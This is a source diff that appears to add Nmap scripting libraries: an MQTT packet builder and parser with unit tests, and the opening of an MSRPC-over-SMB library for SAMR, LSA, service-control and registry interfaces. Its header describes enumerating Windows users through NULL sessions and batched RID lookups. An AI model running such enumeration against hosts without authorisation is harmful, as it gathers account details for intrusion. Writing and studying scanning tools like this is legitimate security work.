+ local protocol_name = options.protocol_name
+ if not protocol_name then
+ protocol_name = "MQTT"
+ end
+ assert(type(protocol_name) == "string")
+ head = head .. MQTT.utf8_build(protocol_name)
+
+ -- 3.1.2.2 Protocol Level
+ local protocol_level = options.protocol_level
+ if not protocol_level then
+ protocol_level = 4
+ end
+ assert(type(protocol_level) == "number")
+ head = head .. string.pack("B", protocol_level)
+
+ -- 3.1.3.1 Client Identifier
+ local client_id = options.client_id
+ if not client_id then
+ -- We throw in randomness in case there are multiple scripts using this
+ -- library on a single port.
+ client_id = "nmap" .. rand.random_alpha(16)
+ end
+ assert(type(client_id) == "string")
+ tail = tail .. MQTT.utf8_build(client_id)
+
+ -- 3.1.2.3 Connect Flags
+ local cflags = 0x00
+
+ -- 3.1.2.4 Clean Session
+ if options.clean_session then
+ cflags = cflags | 0x02
+ end
+
+ -- 3.1.2.6 Will QoS
+ if not options.will_qos then
+ options.will_qos = 0
+ end
+ assert(options.will_qos >= 0)
+ assert(options.will_qos <= 2)
+ cflags = cflags | (options.will_qos << 3)
+
+ -- 3.1.2.7 Will Retain
+ if options.will_retain then
+ cflags = cflags | 0x20
+ end
+
+ -- 3.1.2.5 Will Flag
+ if options.will_topic and options.will_message then
+ cflags = cflags | 0x04
+ tail = tail .. MQTT.utf8_build(options.will_topic)
+ tail = tail .. MQTT.utf8_build(options.will_message)
+ end
+
+ -- 3.1.2.8 User Name Flag
+ if options.username then
+ cflags = cflags | 0x80
+ tail = tail .. MQTT.utf8_build(options.username)
+ end
+
+ -- 3.1.2.9 Password Flag
+ if options.password then
+ cflags = cflags | 0x40
+ tail = tail .. MQTT.utf8_build(options.password)
+ end
+
+ head = head .. string.pack("B", cflags)
+
+ -- 3.1.2.10 Keep Alive
+ if not options.keep_alive_secs then
+ options.keep_alive_secs = 30
+ end
+ head = head .. string.pack(">I2", options.keep_alive_secs)
+
+ return true, MQTT.fixed_header(1, 0x0, head .. tail)
+end
+
+--- Parse an MQTT CONNACK control packet.
+--
+-- See "3.2 CONNACK – Acknowledge connection request" section of the
+-- standard.
+--
+-- @param fhflags The flags of the control packet.
+-- @param buf The string representing the control packet.
+-- @return status True on success, false on failure.
+-- @return response Table representing a CONNACK control packet on
+-- success, string containing the error message on failure.
+MQTT.packet["CONNACK"].parse = function(fhflags, buf)
+ assert(type(fhflags) == "number")
+ assert(type(buf) == "string")
+
+ -- 3.2.1 Fixed header
+ -- We expect that the packet structure is rigid. We allow variation, but we
+ -- warn about it just in case.
+ if fhflags ~= 0x00 then
+ stdnse.debug4("Fixed header flags in CONNACK packet were %d, should be 0.", fhflags)
+ end
+ if buf:len() ~= 2 then
+ stdnse.debug4("Fixed header remaining length in CONNACK packet was %d, should be 2.", buf:len())
+ end
+
+ -- 3.2.2.1 Connect Acknowledge Flags
+ local res = {["type"] = "CONNACK"}
+ local caflags, crcode = string.unpack("BB", buf)
+
+ -- 3.2.2.2 Session Present
+ res.session_present = ((caflags & 0x01) == 1)
+
+ -- 3.2.2.3 Connect Return code
+ res.accepted = (crcode == 0x00)
+ if crcode == 0x01 then
+ res.reason = "Unacceptable Protocol Version"
+ elseif crcode == 0x02 then
+ res.reason = "Client Identifier Rejected"
+ elseif crcode == 0x03 then
+ res.reason = "Server Unavailable"
+ elseif crcode == 0x04 then
+ res.reason = "Bad User Name or Password"
+ elseif crcode == 0x05 then
+ res.reason = "Not Authorized"
+ else
+ res.reason = "Unrecognized Connect Return Code"
+ end
+
+ return true, res
+end
+
+--- Build an MQTT SUBSCRIBE control packet.
+--
+-- See "3.8 SUBSCRIBE - Subscribe to topics" section of the standard.
+--
+-- @param options Table of options accepted by this type of control
+-- packet.
+-- @return A string representing a SUBSCRIBE control packet.
+MQTT.packet["SUBSCRIBE"].build = function(options)
+ assert(type(options) == "table")
+
+ -- 3.8.2 Variable header
+ local pkt = {options.packet_id}
+
+ for key, val in pairs(options.filters) do
+ local name = val.filter
+ assert(type(name) == "string")
+
+ local qos = val.qos
+ if not qos then
+ qos = 0
+ end
+ assert(type(qos) == "number")
+ assert(qos >= 0)
+ assert(qos <= 2)
+
+ pkt[#pkt+1] = MQTT.utf8_build(name)
+ pkt[#pkt+1] = string.pack("B", qos)
+ end
+
+ return true, MQTT.fixed_header(8, 0x2, table.concat(pkt))
+end
+
+--- Parse an MQTT SUBACK control packet.
+--
+-- See "3.9 SUBACK – Subscribe acknowledgement" section of the
+-- standard.
+--
+-- @param fhflags The flags of the control packet.
+-- @param buf The string representing the control packet.
+-- @return status True on success, false on failure.
+-- @return response Table representing a SUBACK control packet on
+-- success, string containing the error message on failure.
+MQTT.packet["SUBACK"].parse = function(fhflags, buf)
+ assert(type(fhflags) == "number")
+ assert(type(buf) == "string")
+
+ -- 3.9.1 Fixed header
+ -- We expect that the packet structure is rigid. We allow variation, but we
+ -- warn about it just in case.
+ if fhflags ~= 0x00 then
+ stdnse.debug4("Fixed header flags in CONNACK packet were %d, should be 0.", fhflags)
+ end
+
+ local res = {["type"] = "SUBACK"}
+ local length = buf:len()
+
+ -- 3.9.2 Variable header
+ if length < 2 then
+ return false, ("Failed to parse SUBACK packet, too short.")
+ end
+ local packet_id, pos = string.unpack(">I2", buf)
+ res.packet_id = packet_id
+
+ -- 3.9.3 Payload
+ local code
+ local codes = {}
+ while pos <= length do
+ code, pos = string.unpack("B", buf, pos)
+ if code == 0x00 then
+ table.insert(codes, {["success"] = true, ["max_qos"] = 0})
+ elseif code == 0x01 then
+ table.insert(codes, {["success"] = true, ["max_qos"] = 1})
+ elseif code == 0x02 then
+ table.insert(codes, {["success"] = true, ["max_qos"] = 2})
+ else
+ table.insert(codes, {["success"] = false})
+ end
+ end
+ res.filters = codes
+
+ return true, res
+end
+
+--- Parse an MQTT PUBLISH control packet.
+--
+-- See "3.3 PUBLISH – Publish message" section of the standard.
+--
+-- @param fhflags The flags of the control packet.
+-- @param buf The string representing the control packet.
+-- @return
+-- @return status True on success, false on failure.
+-- @return response Table representing a PUBLISH control packet on
+-- success, string containing the error message on failure.
+MQTT.packet["PUBLISH"].parse = function(fhflags, buf)
+ assert(type(fhflags) == "number")
+ assert(type(buf) == "string")
+
+ -- 3.9.1 Fixed header
+ local res = {["type"] = "PUBLISH"}
+
+ -- 3.3.1.1 DUP
+ local dup = ((fhflags & 0x8) == 0x8)
+ res.dup = dup
+
+ -- 3.3.1.2 QoS
+ local qos = ((fhflags & 0x6) >> 1)
+ res.qos = qos
+
+ -- 3.3.1.3 RETAIN
+ local ret = ((fhflags & 0x1) == 0x1)
+ res.retain = ret
+
+ -- 3.3.2.1 Topic Name
+ local pos, val = MQTT.utf8_parse(buf)
+ if not pos then
+ return false, val
+ end
+ res.topic = val
+
+ -- 3.3.2.2 Packet Identifier
+ if qos == 1 or qos == 2 then
+ if #buf - pos + 1 < 2 then
+ return false, "packet truncated"
+ end
+ val, pos = string.unpack(">I2", buf, pos)
+ res.packet_id = val
+ end
+
+ -- 3.3.3 Payload
+ local length = buf:len()
+ res.payload = buf:sub(pos, length)
+
+ return true, res
+end
+
+--- Build an MQTT DISCONNECT control packet.
+--
+-- See "3.14 DISCONNECT – Disconnect notification" section of the
+-- standard.
+--
+-- @param options Table of options accepted by this type of control
+-- packet.
+-- @return A string representing a DISCONNECT control packet.
+MQTT.packet["DISCONNECT"].build = function(options)
+ assert(type(options) == "table")
+ return true, MQTT.fixed_header(14, 0x00, "")
+end
+
+--- Build a numeric field in MQTT's variable-length format.
+--
+-- See section "2.2.3 Remaining Length" of the standard.
+--
+-- @param num The value of the field.
+-- @return A variable-length field.
+MQTT.length_build = function(num)
+ -- This field represents a limited range of integers (0 through 128^4-1)
+ assert(num >= 0)
+ assert(num < 0x10000000)
+
+ local field = {}
+ repeat
+ local byte = num & 0x7F
+ num = num >> 7
+ if num > 0 then
+ byte = byte | 0x80
+ end
+ field[#field+1] = string.pack("B", byte)
+ until num == 0
+
+ -- This field has a limit on its length in binary form.
+ assert(#field >= 1)
+ assert(#field <= 4)
+
+ return table.concat(field)
+end
+
+--- Parse a numeric field in MQTT's variable-length format.
+--
+-- See section "2.2.3 Remaining Length" of the standard.
+--
+-- @param buf String from which to parse the numeric field.
+-- @param pos Position from which to start parsing.
+-- @return pos String index on success, false on failure.
+-- @return response Parsed numeric field on success, string containing
+-- the error message on failure.
+MQTT.length_parse = function(buf, pos)
+ assert(type(buf) == "string")
+ if #buf == 0 then
+ return false, "Cannot parse an empty string."
+ end
+
+ pos = pos or 1
+ assert(type(pos) == "number")
+
+ local multiplier = 1
+ local offset = 0
+ local byte = nil
+ local num = 0
+
+ repeat
+ if pos > #buf then
+ return false, "Reached end of buffer before variable-length numeric field was parsed."
+ end
+ byte, pos = string.unpack("B", buf, pos)
+ num = num + (byte & 0x7F) * multiplier
+ if offset > 3 then
+ return false, "Buffer contained an invalid variable-length numeric field."
+ end
+ multiplier = multiplier << 7
+ offset = offset + 1
+ until (byte & 0x80) == 0
+
+ -- This field represents a limited range of integers (0 through 128^4-1)
+ assert(num >= 0)
+ assert(num < 0x10000000)
+
+ return pos, num
+end
+
+--- Parser a UTF-8 string in MQTT's length-prefixed format.
+--
+-- See section "1.5.3 UTF-8 encoded strings" of the standard.
+--
+-- @param buf The bytes to parse.
+-- @param pos The position from which to start parsing.
+-- @return status True on success, false on failure.
+-- @return response Parsed string on success, string containing the
+-- error message on failure.
+
+--- Build a UTF-8 string in MQTT's length-prefixed format.
+--
+-- See section "1.5.3 UTF-8 encoded strings" of the standard.
+--
+-- @param str The string to convert.
+-- @return A length-prefixed string.
+MQTT.utf8_build = function(str)
+ assert(type(str) == "string")
+
+ return string.pack(">s2", str)
+end
+
+--- Parse a UTF-8 string in MQTT's length-prefixed format.
+--
+-- See section "1.5.3 UTF-8 encoded strings" of the standard.
+--
+-- @param buf The bytes to parse.
+-- @param pos The position from which to start parsing.
+-- @return status True on success, false on failure.
+-- @return response Parsed string on success, string containing the
+-- error message on failure.
+MQTT.utf8_parse = function(buf, pos)
+ assert(type(buf) == "string")
+ if #buf < 2 then
+ return false, "Cannot parse a string of less than two bytes."
+ end
+
+ pos = pos or 1
+ assert(type(pos) == "number")
+
+ local buf_length = buf:len()
+ if pos > buf_length - 1 then
+ return false, ("Buffer at position %d has no space for a UTF-8 length-prefixed string."):format(pos)
+ end
+
+ local str_length = string.unpack(">I2", buf, pos)
+ if pos + 1 + str_length > buf_length then
+ return false, ("Buffer at position %d has no space for a %d-byte UTF-8 string."):format(pos, str_length)
+ end
+
+ local value, pos = string.unpack(">s2", buf, pos)
+ return pos, value
+end
+
+--- Prefix the body of an MQTT packet with a fixed header.
+--
+-- See section "2.2 Fixed header" of the standard.
+--
+-- @param num The type of the control packet.
+-- @param flags The flags of the control packet.
+-- @param pkt The string representing the control packet.
+-- @return A string representing a completed MQTT control packet.
+MQTT.fixed_header = function(num, flags, pkt)
+ assert(type(num) == "number")
+ assert(type(flags) == "number")
+ assert(type(pkt) == "string")
+
+ -- Build the fixed header.
+ -- 2.2.1 MQTT Control Packet type
+ -- 2.2.2 Flags
+ local hdr = (num << 4) | flags
+
+ return string.pack("B", hdr) .. MQTT.length_build(#pkt) .. pkt
+end
+
+-- Skip unit tests unless we're explicitly testing.
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+-- 2.2.3 Remaining Length
+local tests = {
+ { 1, 0, "\x00" },
+ { 1, 127, "\x7F" },
+ { 2, 128, "\x80\x01" },
+ { 2, 16383, "\xFF\x7F" },
+ { 3, 16384, "\x80\x80\x01" },
+ { 3, 2097151, "\xFF\xFF\x7F" },
+ { 4, 2097152, "\x80\x80\x80\x01"},
+ { 4, 268435455, "\xFF\xFF\xFF\x7F"},
+}
+
+for i, test in ipairs(tests) do
+ local test_len = test[1]
+ local test_num = test[2]
+ local test_str = test[3]
+
+ local str = MQTT.length_build(test_num)
+ test_suite:add_test(unittest.equal(#str, test_len), ("Test %d: length_build, length"):format(i))
+ test_suite:add_test(unittest.equal(str, test_str), ("Test %d: length_build, content"):format(i))
+
+ -- Parse, implicitly from the first character.
+ local pos, num = MQTT.length_parse(test_str)
+ test_suite:add_test(unittest.equal(num, test_num), ("Test %d: length_parse, number"):format(i))
+ test_suite:add_test(unittest.equal(pos, test_len + 1), ("Test %d: length_parse, pos"):format(i))
+
+ -- Parse, explicitly from the one-indexed second character.
+ local pos, num = MQTT.length_parse("!" .. test_str, 2)
+ test_suite:add_test(unittest.equal(num, test_num), ("Test %d: length_parse offset, number"):format(i))
+ test_suite:add_test(unittest.equal(pos, test_len + 2), ("Test %d: length_parse offset, pos"):format(i))
+
+ -- Truncate string and attempt to parse, expecting error.
+ local short_str = test_str:sub(1, test_len - 1)
+ local pos, _ = MQTT.length_parse(short_str)
+ test_suite:add_test(unittest.is_false(pos), ("Test %d: length_parse, expected error"):format(i))
+end
+
+-- Ensure that parsing a string with too many continuation bytes,
+-- which have their MSB set, fails as expected.
+local long_str = "\xFF\xFF\xFF\xFF\x7F"
+local pos, _ = MQTT.length_parse(long_str)
+test_suite:add_test(unittest.is_false(pos), "length_parse too many continuation bytes")
+
+-- 1.5.3 UTF-8 encoded strings
+local str = MQTT.utf8_build("")
+test_suite:add_test(unittest.equal(str, "\x00\x00"), "utf8_build empty string")
+
+local str = MQTT.utf8_build("A")
+test_suite:add_test(unittest.equal(str, "\x00\x01\x41"), "utf8_build 'A'")
+
+local pos, _ = MQTT.utf8_parse("")
+test_suite:add_test(unittest.is_false(pos), "utf8_parse expected failure: ''")
+
+local pos, _ = MQTT.utf8_parse("!")
+test_suite:add_test(unittest.is_false(pos), "utf8_parse expected failure: '!'")
+
+local pos, str = MQTT.utf8_parse("\x00\x01")
+test_suite:add_test(unittest.is_false(pos), "utf8_parse expected failure: 0001")
+
+local pos, str = MQTT.utf8_parse("\x00\x02\x41")
+test_suite:add_test(unittest.is_false(pos), "utf8_parse expected failure: 000241")
+
+local pos, str = MQTT.utf8_parse("\0\0")
+test_suite:add_test(unittest.equal(str, ""), "utf8_parse empty string")
+test_suite:add_test(unittest.equal(pos, 3), "utf8_parse empty string (pos)")
+
+local pos, str = MQTT.utf8_parse("\x00\x01\x41")
+test_suite:add_test(unittest.equal(str, "A"), "utf8_parse 'A'")
+test_suite:add_test(unittest.equal(pos, 4), "utf8_parse 'A' (pos)")
+
+return _ENV;
diff --git a/nselib/msrpc.lua b/nselib/msrpc.lua
new file mode 100644
index 0000000..2a94243
--- /dev/null
+++ b/nselib/msrpc.lua
@@ -0,0 +1,5309 @@
+---
+-- By making heavy use of the <code>smb</code> library, this library will call various MSRPC
+-- functions. The functions used here can be accessed over TCP ports 445 and 139,
+-- with an established session. A NULL session (the default) will work for some
+-- functions and operating systems (or configurations), but not for others.
+--
+-- To make use of these function calls, a SMB session with the server has to be
+-- established. This can be done manually with the <code>smb</code> library, or the function
+-- <code>start_smb</code> can be called. A session has to be created, then the IPC$
+-- tree opened.
+--
+-- Next, the interface has to be bound. The <code>bind()</code> function will take care of that.
+--
+-- After that, you're free to call any function that's part of that interface. In
+-- other words, if you bind to the SAMR interface, you can only call the <code>samr_</code>
+-- functions, for <code>lsa_</code> functions, bind to the LSA interface, etc. Although functions
+-- can technically be called in any order, many functions depend on the
+-- value returned by other functions. I indicate those in the function comments,
+-- so keep an eye out. SAMR functions, for example, require a call to
+-- <code>connect4</code>.
+--
+-- Something to note is that these functions, for the most part, return a whole ton
+-- of stuff in a table; basically, everything that is returned by the function.
+-- Generally, if you want to know exactly what you have access to, either display the
+-- returned data with a <code>print_table</code>-type function, or check the documentation (Samba 4.0's
+-- <code>.idl</code> files (in <code>samba_4.0/source/librpc/idl</code>; see below for link) are what I based
+-- the names on).
+--
+-- The parameters for each function are converted to a string of bytes in a process
+-- called "marshalling". Functions here take arguments that match what a user would
+-- logically want to send. These are marshalled by using functions in the
+-- <code>msrpctypes</code> module. Those functions require a table of values that
+-- isn't very use friendly; as such, it's generated, when possible, in the functions
+-- in this module. The value returned, on the other hand, is returned directly to the
+-- user; I don't want to limit what data they can use, and it's difficult to rely on
+-- servers to format it consistently (sometimes a <code>null</code> is returned, and
+-- other times an empty array or blank string), so I put the onus on the scripts to
+-- deal with the returned values.
+--
+-- When implementing this, I used Wireshark's output significantly, as well as Samba's
+-- <code>.idl</code> files for reference:
+-- http://websvn.samba.org/cgi-bin/viewcvs.cgi/branches/SAMBA_4_0/source/librpc/idl/.
+-- I'm not a lawyer, but I don't expect that this is a breach of Samba's copyright --
+-- if it is, please talk to me and I'll make arrangements to re-license this or to
+-- remove references to Samba.
+--
+-- Revised 07/25/2012 - added Printer Spooler Service (spoolss) RPC functions and
+-- constants [Aleksandar Nikolic]
+--@author Ron Bowes <ron@skullsecurity.net>
+--@copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-----------------------------------------------------------------------
+
+local datetime = require "datetime"
+local ipOps = require "ipOps"
+local math = require "math"
+local msrpctypes = require "msrpctypes"
+local netbios = require "netbios"
+local os = require "os"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local unicode = require "unicode"
+_ENV = stdnse.module("msrpc", stdnse.seeall)
+
+-- The path, UUID, and version for SAMR
+SAMR_PATH = "\\samr"
+SAMR_UUID = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac"
+SAMR_VERSION = 0x01
+
+-- The path, UUID, and version for SRVSVC
+SRVSVC_PATH = "\\srvsvc"
+SRVSVC_UUID = "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
+SRVSVC_VERSION = 0x03
+
+-- The path, UUID, and version for SPOOLSS
+SPOOLSS_PATH = "\\spoolss"
+SPOOLSS_UUID = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab"
+SPOOLSS_VERSION = 0x01
+
+-- The path, UUID, and version for LSA
+LSA_PATH = "\\lsarpc"
+LSA_UUID = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab"
+LSA_VERSION = 0
+
+-- The path, UUID, and version for WINREG
+WINREG_PATH = "\\winreg"
+WINREG_UUID = "\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03"
+WINREG_VERSION = 1
+
+-- The path, UUID, and version for SVCCTL
+SVCCTL_PATH = "\\svcctl"
+SVCCTL_UUID = "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"
+SVCCTL_VERSION = 2
+
+-- The path, UUID, and version for ATSVC
+ATSVC_PATH = "\\atsvc"
+ATSVC_UUID = "\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b"
+ATSVC_VERSION = 1
+
+
+-- UUID and version for epmapper e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
+EPMAPPER_PATH = "\\epmapper"
+EPMAPPER_UUID = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
+EPMAPPER_VERSION = 3
+
+
+-- This is the only transfer syntax I've seen in the wild, not that I've looked hard. It seems to work well.
+TRANSFER_SYNTAX = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"
+
+-- The 'referent_id' value is ignored, as far as I can tell, so this value is passed for it. No, it isn't random. :)
+REFERENT_ID = 0x50414d4e
+
+-- The maximum length of a packet fragment
+MAX_FRAGMENT = 0x800
+
+---The number of SAMR records to pull at once. This was originally 1, but since I've written
+-- proper fragmentation code, I've successfully done it with 110 users, although I'd be surprised
+-- if you couldn't go a lot higher. I had some issues that I suspect was UNIX truncating packets,
+-- so I scaled it back.
+local SAMR_GROUPSIZE = 20
+
+---The number of LSA RIDs to check at once. I've successfully tested with up to about 110. Note that
+-- due to very long message sizes, Wireshark might truncate packets if you have more than 30 together,
+-- so for debugging, setting this to 30 might be a plan. Like SAMR, I scaled this back due to UNIX
+-- truncation.
+local LSA_GROUPSIZE = 20
+
+---The number of consecutive empty groups to stop after. Basically, this means that after
+-- <code>LSA_MINEMPTY</code> groups of <code>LSA_GROUPSIZE</code> users come back empty, we give
+-- up. Raising this could find more users, but at the expense of more packets.
+local LSA_MINEMPTY = 10
+
+---Mapping between well known MSRPC UUIDs and corresponding exe/service
+local UUID2EXE = {
+ ["1ff70682-0a51-30e8-076d-740be8cee98b"] = "mstask.exe atsvc interface (Scheduler service)",
+ ["3faf4738-3a21-4307-b46c-fdda9bb8c0d5"] = "AudioSrv AudioSrv interface (Windows Audio service)",
+ ["6bffd098-a112-3610-9833-012892020162"] = "Browser browser interface (Computer Browser service)",
+ ["91ae6020-9e3c-11cf-8d7c-00aa00c091be"] = "certsrv.exe ICertPassage interface (Certificate services)",
+ ["5ca4a760-ebb1-11cf-8611-00a0245420ed"] = "termsrv.exe winstation_rpc interface",
+ ["c8cb7687-e6d3-11d2-a958-00c04f682e16"] = "WebClient davclntrpc interface (WebDAV client service)",
+ ["50abc2a4-574d-40b3-9d66-ee4fd5fba076"] = "dns.exe DnsServer interface (DNS Server service)",
+ ["e1af8308-5d1f-11c9-91a4-08002b14a0fa"] = "RpcSs epmp interface (RPC endpoint mapper)",
+ ["82273fdc-e32a-18c3-3f78-827929dc23ea"] = "Eventlog eventlog interface (Eventlog service)",
+ ["3d267954-eeb7-11d1-b94e-00c04fa3080d"] = "lserver.exe Terminal Server Licensing",
+ ["894de0c0-0d55-11d3-a322-00c04fa321a1"] = "winlogon.exe InitShutdown interface",
+ ["8d0ffe72-d252-11d0-bf8f-00c04fd9126b"] = "CryptSvc IKeySvc interface (Cryptographic services)",
+ ["0d72a7d4-6148-11d1-b4aa-00c04fb66ea0"] = "CryptSvc ICertProtect interface (Cryptographic services)",
+ ["d6d70ef0-0e3b-11cb-acc3-08002b1d29c4"] = "locator.exe NsiS interface (RPC Locator service)",
+ ["342cfd40-3c6c-11ce-a893-08002b2e9c6d"] = "llssrv.exe llsrpc interface (Licensing Logging service)",
+ ["12345778-1234-abcd-ef00-0123456789ab"] = "lsass.exe lsarpc interface",
+ ["3919286a-b10c-11d0-9ba8-00c04fd92ef5"] = "lsass.exe dssetup interface",
+ ["5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc"] = "messenger msgsvcsend interface (Messenger service)",
+ ["2f5f3220-c126-1076-b549-074d078619da"] = "netdde.exe nddeapi interface (NetDDE service)",
+ ["4fc742e0-4a10-11cf-8273-00aa004ae673"] = "Dfssvc netdfs interface (Distributed File System service)",
+ ["12345678-1234-abcd-ef00-01234567cffb"] = "Netlogon netlogon interface (Net Logon service)",
+ ["8d9f4e40-a03d-11ce-8f69-08003e30051b"] = "PlugPlay pnp interface (Plug and Play service)",
+ -- ["8d9f4e40-a03d-11ce-8f69-08003e30051b"] = "PlugPlay pnp interface (Plug and Play Windows Vista service)",
+ ["d335b8f6-cb31-11d0-b0f9-006097ba4e54"] = "PolicyAgent PolicyAgent interface (IPSEC Policy Agent (Windows 2000))",
+ -- ["12345678-1234-abcd-ef00-0123456789ab"] = "PolicyAgent winipsec interface (IPsec Services)",
+ ["369ce4f0-0fdc-11d3-bde8-00c04f8eee78"] = "winlogon.exe pmapapi interface",
+ ["c9378ff1-16f7-11d0-a0b2-00aa0061426a"] = "lsass.exe IPStoreProv interface (Protected Storage)",
+ ["8f09f000-b7ed-11ce-bbd2-00001a181cad"] = "mprdim.dll Remote Access",
+ ["12345778-1234-abcd-ef00-0123456789ac"] = "lsass.exe samr interface",
+ ["93149ca2-973b-11d1-8c39-00c04fb984f9"] = "services.exe SceSvc",
+ ["12b81e99-f207-4a4c-85d3-77b42f76fd14"] = "seclogon ISeclogon interface (Secondary logon service)",
+ ["83da7c00-e84f-11d2-9807-00c04f8ec850"] = "winlogon.exe sfcapi interface (Windows File Protection)",
+ -- ["12345678-1234-abcd-ef00-0123456789ab"] = "spoolsv.exe spoolss interface (Spooler service)",
+ ["4b324fc8-1670-01d3-1278-5a47bf6ee188"] = "services.exe (w2k) or svchost.exe (wxp and w2k3) srvsvc interface (Server service)",
+ ["4b112204-0e19-11d3-b42b-0000f81feb9f"] = "ssdpsrv ssdpsrv interface (SSDP service)",
+ ["367aeb81-9844-35f1-ad32-98f038001003"] = "services.exe svcctl interface (Services control manager)",
+ ["2f5f6520-ca46-1067-b319-00dd010662da"] = "Tapisrv tapsrv interface (Telephony service)",
+ ["300f3532-38cc-11d0-a3f0-0020af6b0add"] = "Trkwks trkwks interface (Distributed Link Tracking Client)",
+ ["8fb6d884-2388-11d0-8c35-00c04fda2795"] = "w32time w32time interface (Windows Time)",
+ -- ["8fb6d884-2388-11d0-8c35-00c04fda2795"] = "w32time w32time interface (Windows Time (Windows Server 2003, Windows Vista))",
+ ["a002b3a0-c9b7-11d1-ae88-0080c75e4ec1"] = "winlogon.exe GetUserToken interface",
+ ["338cd001-2244-31f1-aaaa-900038001003"] = "RemoteRegistry winreg interface (Remote registry service)",
+ ["45f52c28-7f9f-101a-b52b-08002b2efabe"] = "wins.exe winsif interface (WINS service)",
+ ["6bffd098-a112-3610-9833-46c3f87e345a"] = "services.exe (w2k) or svchost.exe (wxp and w2k3) wkssvc interface (Workstation service)"
+}
+
+
+--- This is a wrapper around the SMB class, designed to get SMB going quickly for MSRPC calls.
+--
+-- This will connect to the SMB server, negotiate the protocol, open a session,
+-- connect to the IPC$ share, and open the named pipe given by 'path'. When
+-- this successfully returns, the 'smbstate' table can be immediately used for
+-- MSRPC (the <code>bind</code> function should be called right after).
+--
+-- Note that the smbstate table is the same one used in the SMB files
+-- (obviously), so it will contain the various results/information places in
+-- there by SMB functions.
+--
+--@param host The host object.
+--@param path The path to the named pipe; for example, msrpc.SAMR_PATH or
+-- msrpc.SRVSVC_PATH.
+--@param disable_extended [optional] If set to 'true', disables extended
+-- security negotiations.
+--@param overrides [optional] Overrides variables in all the SMB functions.
+--@return status true or false
+--@return smbstate if status is true, or an error message.
+function start_smb(host, path, disable_extended, overrides)
+ overrides = overrides or {}
+ local _, sharename = smb.get_fqpn(host, "IPC$")
+ return smb.start_ex(host, true, true, sharename, path, disable_extended, overrides)
+end
+
+--- A wrapper around the <code>smb.stop</code> function.
+--
+-- I only created it to add symmetry, so client code doesn't have to call both
+-- msrpc and smb functions.
+--
+--@param state The SMB state table.
+function stop_smb(state)
+ smb.stop(state)
+end
+
+--- Bind to a MSRPC interface.
+--
+-- Two common interfaces are SAML and SRVSVC, and can be found as
+-- constants at the top of this file. Once this function has successfully returned, any MSRPC
+-- call can be made (provided it doesn't depend on results from other MSRPC calls).
+--
+--@param smbstate The SMB state table
+--@param interface_uuid The interface to bind to. There are constants defined for these (<code>SAMR_UUID</code>,
+-- etc.)
+--@param interface_version The interface version to use. There are constants at the top (<code>SAMR_VERSION</code>,
+-- etc.)
+--@param transfer_syntax The transfer syntax to use. I don't really know what this is, but the value
+-- was always the same on my tests. You can use the constant at the top (<code>TRANSFER_SYNTAX</code>), or
+-- just set this parameter to 'nil'.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a
+-- table of values, none of which are especially useful.
+function bind(smbstate, interface_uuid, interface_version, transfer_syntax)
+ local status, result
+ local parameters, data
+ local pos, align
+ local result
+
+ stdnse.debug2("MSRPC: Sending Bind() request")
+
+ -- Use the only transfer_syntax value I know of.
+ if(transfer_syntax == nil) then
+ transfer_syntax = TRANSFER_SYNTAX
+ end
+
+ data = string.pack("<BBBB>I4<I2I2I4I2I2I4BxxxI2Bx",
+ 0x05, -- Version (major)
+ 0x00, -- Version (minor)
+ 0x0B, -- Packet type (0x0B = bind)
+ 0x03, -- Packet flags (0x03 = first frag + last frag)
+ 0x10000000, -- Data representation (big endian)
+ 0x0048, -- Frag length
+ 0x0000, -- Auth length
+ 0x41414141, -- Call ID (I use 'AAAA' because it's easy to recognize)
+ MAX_FRAGMENT, -- Max transmit frag
+ MAX_FRAGMENT, -- Max receive frag
+ 0x00000000, -- Assoc group
+ 0x01, -- Number of items
+ 0x0000, -- Context ID
+ 0x01) -- Number of transaction items. */
+ .. interface_uuid -- Interface (eg. SRVSVC UUID: 4b324fc8-1670-01d3-1278-5a47bf6ee188)
+ .. string.pack("<I2I2",
+ interface_version, -- Interface version (major)
+ 0x0000) -- Interface version (minor)
+ .. transfer_syntax -- Transfer syntax
+ .. string.pack("<I4", 2) -- Syntax version
+
+ status, result = smb.write_file(smbstate, data, 0)
+ if(status ~= true) then
+ return false, result
+ end
+
+ status, result = smb.read_file(smbstate, 0, MAX_FRAGMENT)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: Received Bind() result")
+
+ -- Make these easier to access.
+ parameters = result['parameters']
+ data = result['data']
+
+ -- Extract the first part from the response
+ local fmt = "<BBBB>I4<I2I2I4"
+ if #data < string.packsize(fmt) then
+ return false, "MSRPC: ERROR: Ran off the end of SMB packet; likely due to server truncation"
+ end
+ result.version_major, result.version_minor, result.packet_type, result.packet_flags,
+ result.data_representation, result.frag_length, result.auth_length,
+ result.call_id, pos = string.unpack(fmt, data)
+
+ -- Check if the packet type was a fault
+ if(result['packet_type'] == 0x03) then -- MSRPC_FAULT
+ return false, "Bind() returned a fault (packet type)"
+ end
+ -- Check if the flags indicate DID_NOT_EXECUTE
+ if((result['packet_flags'] & 0x20) == 0x20) then
+ return false, "Bind() returned a fault (flags)"
+ end
+ -- Check if it requested authorization (I've never seen this, but wouldn't know how to handle it)
+ if(result['auth_length'] ~= 0) then
+ return false, "Bind() returned an 'auth length', which we don't know how to deal with"
+ end
